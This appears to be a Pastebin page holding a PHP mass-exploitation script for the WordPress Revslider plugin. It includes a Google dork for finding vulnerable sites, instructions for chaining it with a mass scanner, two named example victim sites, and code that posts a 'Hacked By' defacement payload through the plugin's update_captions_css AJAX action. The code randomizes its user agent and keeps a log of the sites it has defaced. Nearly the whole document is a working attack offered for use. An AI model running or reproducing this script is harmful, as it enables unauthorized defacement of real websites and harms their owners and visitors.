Advertisement
Guest User

wordpress Exploit 0day

a guest
Sep 3rd, 2015
2,426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.31 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  
  5. # Exploit Title: WORDPRESS Revslider Exploit (0DAY)
  6.  
  7. # Google DORK: inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"
  8.  
  9. # EXECUTE:
  10.  
  11.     -t : SET TARGET.
  12.  
  13.     -f : SET FILE TARGETS.
  14.  
  15.     -p : SET PROXY
  16.  
  17.     Execute:
  18.  
  19.                   php exploit.php -t target
  20.  
  21.                   php exploit.php -f targets
  22.  
  23.                   php exploit.php -t target -p 'http://localhost:9090'
  24.  
  25.  
  26.  
  27.  
  28.  
  29. # USE MASS EXPLOIT SCANNER INURLBR
  30.  
  31. ./inurlbr.php --dork 'inurl:admin-ajax.php?action=revslider_show_image -intext:"revslider_show_image"' -s vull.txt  -q 1,6  --command-all 'php inurl_revslider.php -t _TARGET_'
  32.  
  33.  
  34.  
  35. # SCAN:  https://github.com/googleinurl/SCANNER-INURLBR
  36.  
  37. # PRINT: http://i.imgur.com/Fown6vf.png
  38.  
  39.  
  40.  
  41. # Exemples target:
  42.  
  43. http://victorylakeland.org/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
  44.  
  45. http://ndcom.ru/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
  46.  
  47.  
  48.  
  49.  
  50.  
  51. */
  52.  
  53. error_reporting(1);
  54.  
  55. set_time_limit(0);
  56.  
  57. ini_set('display_errors', 1);
  58.  
  59. ini_set('max_execution_time', 0);
  60.  
  61. ini_set('allow_url_fopen', 1);
  62.  
  63. ob_implicit_flush(true);
  64.  
  65. ob_end_flush();
  66.  
  67.  
  68.  
  69. $op_ = getopt('f:t:', array('help::'));
  70.  
  71. echo "[+] [Exploit]: WORDPRESS Revslider Exploit (0DAY) / INURL - BRASIL\n\n";
  72.  
  73. $menu = "
  74.  
  75.    -t : SET TARGET.
  76.  
  77.    -f : SET FILE TARGETS.
  78.  
  79.    -p : SET PROXY
  80.  
  81.    Execute:
  82.  
  83.                  php exploit.php -t target
  84.  
  85.                  php exploit.php -f targets
  86.  
  87.                  php exploit.php -t target -p 'http://localhost:9090'
  88.  
  89. \n";
  90.  
  91. echo isset($op_['help']) ? exit($menu) : NULL;
  92.  
  93. $params = array(
  94.  
  95.     'target' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ? $op_['t'] : "http://{$op_['t']}") : NULL,
  96.  
  97.     'file' => !not_isnull_empty($op_['t']) && not_isnull_empty($op_['f']) ? $op_['f'] : NULL,
  98.  
  99.     'proxy' => not_isnull_empty($op_['p']) ? $op_['p'] : NULL,
  100.  
  101.     'deface' => "<body style='color: transparent;background-color: black'><center><h1><b style='color: red'>[ Hacked By wordpress  ]<br><marque>your email<p style='color: transparent'>",
  102.  
  103.     'line' => "--------------------------------------------------------------"
  104.  
  105. );
  106.  
  107. not_isnull_empty($params['target']) && not_isnull_empty($params['file']) ? exit("[X] [ERRO] DEFINE TARGET OR FILE TARGET\n") : NULL;
  108.  
  109. not_isnull_empty($params['target']) ? __request($params) . exit() : NULL;
  110.  
  111. not_isnull_empty($params['file']) ? __listTarget($params) . exit() : NULL;
  112.  
  113.  
  114.  
  115. function not_isnull_empty($valor = NULL) {
  116.  
  117.     RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
  118.  
  119. }
  120.  
  121.  
  122.  
  123. function __plus() {
  124.  
  125.  
  126.  
  127.     ob_flush();
  128.  
  129.     flush();
  130.  
  131. }
  132.  
  133.  
  134.  
  135. function __listTarget($file) {
  136.  
  137.     $tgt = file_get_contents($file['file']) . __plus();
  138.  
  139.     $tgt_ = explode("\r\n", $tgt) . __plus();
  140.  
  141.     echo "\n\t[!] [INFO] TOTAL SITES LOADED : " . count($tgt_) . "\n\n";
  142.  
  143.     foreach ($tgt_ as $url) {
  144.  
  145.         echo "\n[+] [INFO] SCANNING : {$url} \n";
  146.  
  147.         __plus();
  148.  
  149.         $file['target'] = $url;
  150.  
  151.         __request($file) . __plus();
  152.  
  153.     }
  154.  
  155. }
  156.  
  157.  
  158.  
  159. function __setUserAgentRandom() {
  160.  
  161.  
  162.  
  163.     $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox',
  164.  
  165.         'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse'
  166.  
  167.     );
  168.  
  169.  
  170.  
  171.     $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD',
  172.  
  173.         'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix',
  174.  
  175.         'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux',
  176.  
  177.         'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu'
  178.  
  179.     );
  180.  
  181.  
  182.  
  183.     $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO',
  184.  
  185.         'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar',
  186.  
  187.         'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs',
  188.  
  189.         'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA',
  190.  
  191.         'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE'
  192.  
  193.     );
  194.  
  195.     return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)';
  196.  
  197. }
  198.  
  199.  
  200.  
  201. function __request($__) {
  202.  
  203.     $curlxpl = curl_init();
  204.  
  205.     curl_setopt($curlxpl, CURLOPT_URL, "{$__['target']}/wp-admin/admin-ajax.php");
  206.  
  207.     (!is_null($__['proxy']) ? curl_setopt($curlxpl, CURLOPT_PROXY, $__['proxy']) : NULL);
  208.  
  209.     curl_setopt($curlxpl, CURLOPT_USERAGENT, __setUserAgentRandom());
  210.  
  211.     curl_setopt($curlxpl, CURLOPT_POST, 1);
  212.  
  213.     curl_setopt($curlxpl, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action","client_action" => "update_captions_css", "data" => $__['deface']));
  214.  
  215.     curl_setopt($curlxpl, CURLOPT_RETURNTRANSFER, 1);
  216.  
  217.     curl_setopt($curlxpl, CURLOPT_FOLLOWLOCATION, 1);
  218.  
  219.     curl_setopt($curlxpl, CURLOPT_SSL_VERIFYPEER, false);
  220.  
  221.     curl_setopt($curlxpl, CURLOPT_SSL_VERIFYHOST, 0);
  222.  
  223.     curl_setopt($curlxpl, CURLOPT_COOKIEFILE, 'cookie.log');
  224.  
  225.     curl_setopt($curlxpl, CURLOPT_COOKIEJAR, 'cookie.log');
  226.  
  227.     $result = curl_exec($curlxpl) . __plus();
  228.  
  229.     if (eregi('true', $result)) {
  230.  
  231.         $h = "{$__['target']}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
  232.  
  233.         echo "[!] [INFO] Success Exploit!\n";
  234.  
  235.         echo "[!] [INFO] URL FILE MODIFIED: {$h}\n{$__['line']}\n";
  236.  
  237.         __plus();
  238.  
  239.         file_put_contents("revslider.txt", "{$h}\n\n", FILE_APPEND);
  240.  
  241.     } else {
  242.  
  243.         echo "[!] [FAIL] {$__['target']} : nothing changed \n{$__['line']}\n";
  244.  
  245.     }
  246.  
  247.     curl_close($curlxpl);
  248.  
  249.     unset($curlxpl);
  250.  
  251. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement